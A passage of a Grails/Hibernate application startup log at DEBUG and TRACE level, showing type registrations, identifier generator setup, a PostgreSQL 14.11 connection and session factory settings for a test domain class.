restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration double -\u0026gt; org.hibernate.type.DoubleType@461a4e31 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Double -\u0026gt; org.hibernate.type.DoubleType@461a4e31 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration big_decimal -\u0026gt; org.hibernate.type.BigDecimalType@39ab49b9 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.math.BigDecimal -\u0026gt; org.hibernate.type.BigDecimalType@39ab49b9 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration big_integer -\u0026gt; org.hibernate.type.BigIntegerType@23f0d192 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.math.BigInteger -\u0026gt; org.hibernate.type.BigIntegerType@23f0d192 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration string -\u0026gt; org.hibernate.type.StringType@389ae3fe 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.String -\u0026gt; org.hibernate.type.StringType@389ae3fe 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration nstring -\u0026gt; org.hibernate.type.StringNVarcharType@2f8c5f32 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration ncharacter -\u0026gt; org.hibernate.type.CharacterNCharType@1fad72eb 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration url -\u0026gt; org.hibernate.type.UrlType@62770b5 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.net.URL -\u0026gt; org.hibernate.type.UrlType@62770b5 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Duration -\u0026gt; org.hibernate.type.DurationType@1a2bb393 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.Duration -\u0026gt; org.hibernate.type.DurationType@1a2bb393 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Instant -\u0026gt; org.hibernate.type.InstantType@5be0b90e 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.Instant -\u0026gt; org.hibernate.type.InstantType@5be0b90e 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration LocalDateTime -\u0026gt; org.hibernate.type.LocalDateTimeType@69682a97 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.LocalDateTime -\u0026gt; org.hibernate.type.LocalDateTimeType@69682a97 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration LocalDate -\u0026gt; org.hibernate.type.LocalDateType@4f74871 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.LocalDate -\u0026gt; org.hibernate.type.LocalDateType@4f74871 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration LocalTime -\u0026gt; org.hibernate.type.LocalTimeType@41915df4 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.LocalTime -\u0026gt; org.hibernate.type.LocalTimeType@41915df4 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration OffsetDateTime -\u0026gt; org.hibernate.type.OffsetDateTimeType@5fe63175 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.OffsetDateTime -\u0026gt; org.hibernate.type.OffsetDateTimeType@5fe63175 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration OffsetTime -\u0026gt; org.hibernate.type.OffsetTimeType@785e70db 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.OffsetTime -\u0026gt; org.hibernate.type.OffsetTimeType@785e70db 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration ZonedDateTime -\u0026gt; org.hibernate.type.ZonedDateTimeType@3c039eec 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.ZonedDateTime -\u0026gt; org.hibernate.type.ZonedDateTimeType@3c039eec 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration date -\u0026gt; org.hibernate.type.DateType@726961d3 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Date -\u0026gt; org.hibernate.type.DateType@726961d3 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration time -\u0026gt; org.hibernate.type.TimeType@13e0d17a 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Time -\u0026gt; org.hibernate.type.TimeType@13e0d17a 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration timestamp -\u0026gt; org.hibernate.type.TimestampType@785acf76 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Timestamp -\u0026gt; org.hibernate.type.TimestampType@785acf76 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Date -\u0026gt; org.hibernate.type.TimestampType@785acf76 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration dbtimestamp -\u0026gt; org.hibernate.type.DbTimestampType@3954c0e6 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration calendar -\u0026gt; org.hibernate.type.CalendarType@2000dbef 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Calendar -\u0026gt; org.hibernate.type.CalendarType@2000dbef 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.GregorianCalendar -\u0026gt; org.hibernate.type.CalendarType@2000dbef 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration calendar_date -\u0026gt; org.hibernate.type.CalendarDateType@96a60c 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration calendar_time -\u0026gt; org.hibernate.type.CalendarTimeType@1bee8e09 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration locale -\u0026gt; org.hibernate.type.LocaleType@6f663037 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Locale -\u0026gt; org.hibernate.type.LocaleType@6f663037 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration currency -\u0026gt; org.hibernate.type.CurrencyType@708d162d 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Currency -\u0026gt; org.hibernate.type.CurrencyType@708d162d 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration timezone -\u0026gt; org.hibernate.type.TimeZoneType@328928fa 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.TimeZone -\u0026gt; org.hibernate.type.TimeZoneType@328928fa 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration class -\u0026gt; org.hibernate.type.ClassType@4ade2349 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Class -\u0026gt; org.hibernate.type.ClassType@4ade2349 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration uuid-binary -\u0026gt; org.hibernate.type.UUIDBinaryType@35988c46 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.UUID -\u0026gt; org.hibernate.type.UUIDBinaryType@35988c46 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration uuid-char -\u0026gt; org.hibernate.type.UUIDCharType@1179d76f 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration binary -\u0026gt; org.hibernate.type.BinaryType@11966c5 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration byte[] -\u0026gt; org.hibernate.type.BinaryType@11966c5 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [B -\u0026gt; org.hibernate.type.BinaryType@11966c5 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration wrapper-binary -\u0026gt; org.hibernate.type.WrapperBinaryType@13e2cb69 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Byte[] -\u0026gt; org.hibernate.type.WrapperBinaryType@13e2cb69 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [Ljava.lang.Byte; -\u0026gt; org.hibernate.type.WrapperBinaryType@13e2cb69 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration row_version -\u0026gt; org.hibernate.type.RowVersionType@3a81ba54 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration image -\u0026gt; org.hibernate.type.ImageType@3dab33e0 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration characters -\u0026gt; org.hibernate.type.CharArrayType@691a5aed 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration char[] -\u0026gt; org.hibernate.type.CharArrayType@691a5aed 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [C -\u0026gt; org.hibernate.type.CharArrayType@691a5aed 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration wrapper-characters -\u0026gt; org.hibernate.type.CharacterArrayType@7aedb88f 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [Ljava.lang.Character; -\u0026gt; org.hibernate.type.CharacterArrayType@7aedb88f 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Character[] -\u0026gt; org.hibernate.type.CharacterArrayType@7aedb88f 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration text -\u0026gt; org.hibernate.type.TextType@1ce28f49 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration ntext -\u0026gt; org.hibernate.type.NTextType@5cad8530 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration blob -\u0026gt; org.hibernate.type.BlobType@2d9827a0 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Blob -\u0026gt; org.hibernate.type.BlobType@2d9827a0 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration materialized_blob -\u0026gt; org.hibernate.type.MaterializedBlobType@7368903f 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration clob -\u0026gt; org.hibernate.type.ClobType@92c7208 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Clob -\u0026gt; org.hibernate.type.ClobType@92c7208 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration nclob -\u0026gt; org.hibernate.type.NClobType@32a2b068 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.NClob -\u0026gt; org.hibernate.type.NClobType@32a2b068 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration materialized_clob -\u0026gt; org.hibernate.type.MaterializedClobType@78d5dc0a 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration materialized_nclob -\u0026gt; org.hibernate.type.MaterializedNClobType@6a4ce05c 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration serializable -\u0026gt; org.hibernate.type.SerializableType@1069c727 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration object -\u0026gt; org.hibernate.type.ObjectType@3054f8f7 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Object -\u0026gt; org.hibernate.type.ObjectType@3054f8f7 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_date -\u0026gt; org.hibernate.type.AdaptedImmutableType@3c558cab 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_time -\u0026gt; org.hibernate.type.AdaptedImmutableType@30b5af0e 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_timestamp -\u0026gt; org.hibernate.type.AdaptedImmutableType@395c896 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_dbtimestamp -\u0026gt; org.hibernate.type.AdaptedImmutableType@2236b0e8 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_calendar -\u0026gt; org.hibernate.type.AdaptedImmutableType@329650d1 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_calendar_date -\u0026gt; org.hibernate.type.AdaptedImmutableType@2fc65452 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_binary -\u0026gt; org.hibernate.type.AdaptedImmutableType@23af844 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_serializable -\u0026gt; org.hibernate.type.AdaptedImmutableType@151cb91b 2024-04-16 15:26:44.446 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.boot.cfgxml.spi.CfgXmlAccessService] 2024-04-16 15:26:44.453 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.id.factory.spi.MutableIdentifierGeneratorFactory] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [uuid2] -\u0026gt; [org.hibernate.id.UUIDGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [guid] -\u0026gt; [org.hibernate.id.GUIDGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [uuid] -\u0026gt; [org.hibernate.id.UUIDHexGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [uuid.hex] -\u0026gt; [org.hibernate.id.UUIDHexGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [assigned] -\u0026gt; [org.hibernate.id.Assigned] 2024-04-16 15:26:44.454 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [identity] -\u0026gt; [org.hibernate.id.IdentityGenerator] 2024-04-16 15:26:44.454 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [select] -\u0026gt; [org.hibernate.id.SelectGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [sequence] -\u0026gt; [org.hibernate.id.enhanced.SequenceStyleGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [seqhilo] -\u0026gt; [org.hibernate.id.SequenceHiLoGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [increment] -\u0026gt; [org.hibernate.id.IncrementGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [foreign] -\u0026gt; [org.hibernate.id.ForeignGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [sequence-identity] -\u0026gt; [org.hibernate.id.SequenceIdentityGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [enhanced-sequence] -\u0026gt; [org.hibernate.id.enhanced.SequenceStyleGenerator] 2024-04-16 15:26:44.456 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [enhanced-table] -\u0026gt; [org.hibernate.id.enhanced.TableGenerator] 2024-04-16 15:26:44.456 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.env.spi.JdbcEnvironment] 2024-04-16 15:26:44.456 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.dialect.spi.DialectFactory] 2024-04-16 15:26:44.456 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.dialect.spi.DialectResolver] 2024-04-16 15:26:44.457 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.connections.spi.ConnectionProvider] 2024-04-16 15:26:44.457 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jndi.spi.JndiService] 2024-04-16 15:26:44.462 DEBUG --- [ restartedMain] o.h.e.j.e.i.JdbcEnvironmentInitiator : Database -\u0026gt; name : PostgreSQL version : 14.11 major : 14 minor : 11 2024-04-16 15:26:44.462 DEBUG --- [ restartedMain] o.h.e.j.e.i.JdbcEnvironmentInitiator : Driver -\u0026gt; name : PostgreSQL JDBC Driver version : 42.6.0 major : 42 minor : 6 2024-04-16 15:26:44.462 DEBUG --- [ restartedMain] o.h.e.j.e.i.JdbcEnvironmentInitiator : JDBC version : 4.2 2024-04-16 15:26:44.463 INFO --- [ restartedMain] org.hibernate.dialect.Dialect : HHH000400: Using dialect: org.hibernate.dialect.PostgreSQL10Dialect 2024-04-16 15:26:44.468 DEBUG --- [ restartedMain] o.h.e.j.env.spi.IdentifierHelperBuilder : JDBC driver metadata reported database stores quoted identifiers in neither upper, lower nor mixed case 2024-04-16 15:26:44.471 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [pollo_db] 2024-04-16 15:26:44.471 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [public] 2024-04-16 15:26:44.472 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.resource.beans.spi.ManagedBeanRegistry] 2024-04-16 15:26:44.473 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.spi.JdbcServices] 2024-04-16 15:26:44.475 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration pg-uuid -\u0026gt; org.hibernate.type.PostgresUUIDType@be39cbf 2024-04-16 15:26:44.475 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.UUID -\u0026gt; org.hibernate.type.PostgresUUIDType@be39cbf 2024-04-16 15:26:44.475 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : HHH000270: Type registration [java.util.UUID] overrides previous : org.hibernate.type.UUIDBinaryType@35988c46 2024-04-16 15:26:44.476 DEBUG --- [ restartedMain] o.h.type.spi.TypeConfiguration$Scope : Scoping TypeConfiguration [org.hibernate.type.spi.TypeConfiguration@55e7045a] to MetadataBuildingContext [org.hibernate.boot.internal.MetadataBuildingContextRootImpl@192dab09] 2024-04-16 15:26:44.479 DEBUG --- [ restartedMain] o.h.boot.model.relational.Namespace : Created database namespace [logicalName=Name{catalog=null, schema=null}, physicalName=Name{catalog=null, schema=null}] 2024-04-16 15:26:44.482 TRACE --- [ restartedMain] o.h.b.m.p.spi.MetadataBuildingProcess : Calling MetadataContributor : org.grails.orm.hibernate.cfg.GrailsDomainBinder@1cc53713 2024-04-16 15:26:44.483 TRACE --- [ restartedMain] o.h.b.i.InFlightMetadataCollectorImpl : Import: Test1 -\u0026gt; work.pollochang.Test1 2024-04-16 15:26:44.483 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [test1] 2024-04-16 15:26:44.486 DEBUG --- [ restartedMain] org.hibernate.mapping.PrimaryKey : Forcing column [id] to be non-null as it is part of the primary key for table [test1] 2024-04-16 15:26:44.488 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.boot.spi.SessionFactoryBuilderService] 2024-04-16 15:26:44.498 TRACE --- [ restartedMain] org.hibernate.loader.BatchFetchStyle : Interpreting BatchFetchStyle from setting : null 2024-04-16 15:26:44.500 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.bytecode.spi.BytecodeProvider] 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Building session factory 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : SessionFactory name : null 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Automatic flush during beforeCompletion(): enabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Automatic session close at end of transaction: disabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Statistics: disabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Deleted entity synthetic identifier rollback: disabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Default entity-mode: pojo 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Check Nullability in Core (should be disabled when Bean Validation is on): enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Allow initialization of lazy state outside session : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Using BatchFetchStyle : LEGACY 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Default batch fetch size: -1 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Maximum outer join fetch depth: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Default null ordering: NONE 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Order SQL updates by primary key: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Order SQL inserts for batching: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : multi-tenancy strategy : NONE 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JTA Track by Thread: enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Query language substitutions: {} 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Named query checking : enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level cache: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level query cache: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level query cache factory: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level cache region prefix: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Optimize second-level cache for minimal puts: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Structured second-level cache entries: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level cache direct-reference entries: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Automatic eviction of collection cache: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC batch size: 15 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC batch updates for versioned data: enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Scrollable result sets: enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Wrap result sets: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC3 getGeneratedKeys(): enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC result set fetch size: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Connection release mode: ON_CLOSE 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Generate SQL with comments: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - query : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - closed-handling : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - lists : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - transactions : disabled 2024-04-16 15:26:44.504 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.service.spi.SessionFactoryServiceRegistryFactory] 2024-04-16 15:26:44.507 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : Not known whether passed class name [work.pollochang.Test1] is safe 2024-04-16 15:26:44.507 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : No temp ClassLoader provided; using live ClassLoader for loading potentially unsafe class : work.pollochang.Test1 2024-04-16 15:26:44.516 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.517 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.517 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [null] 2024-04-16 15:26:44.517 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service 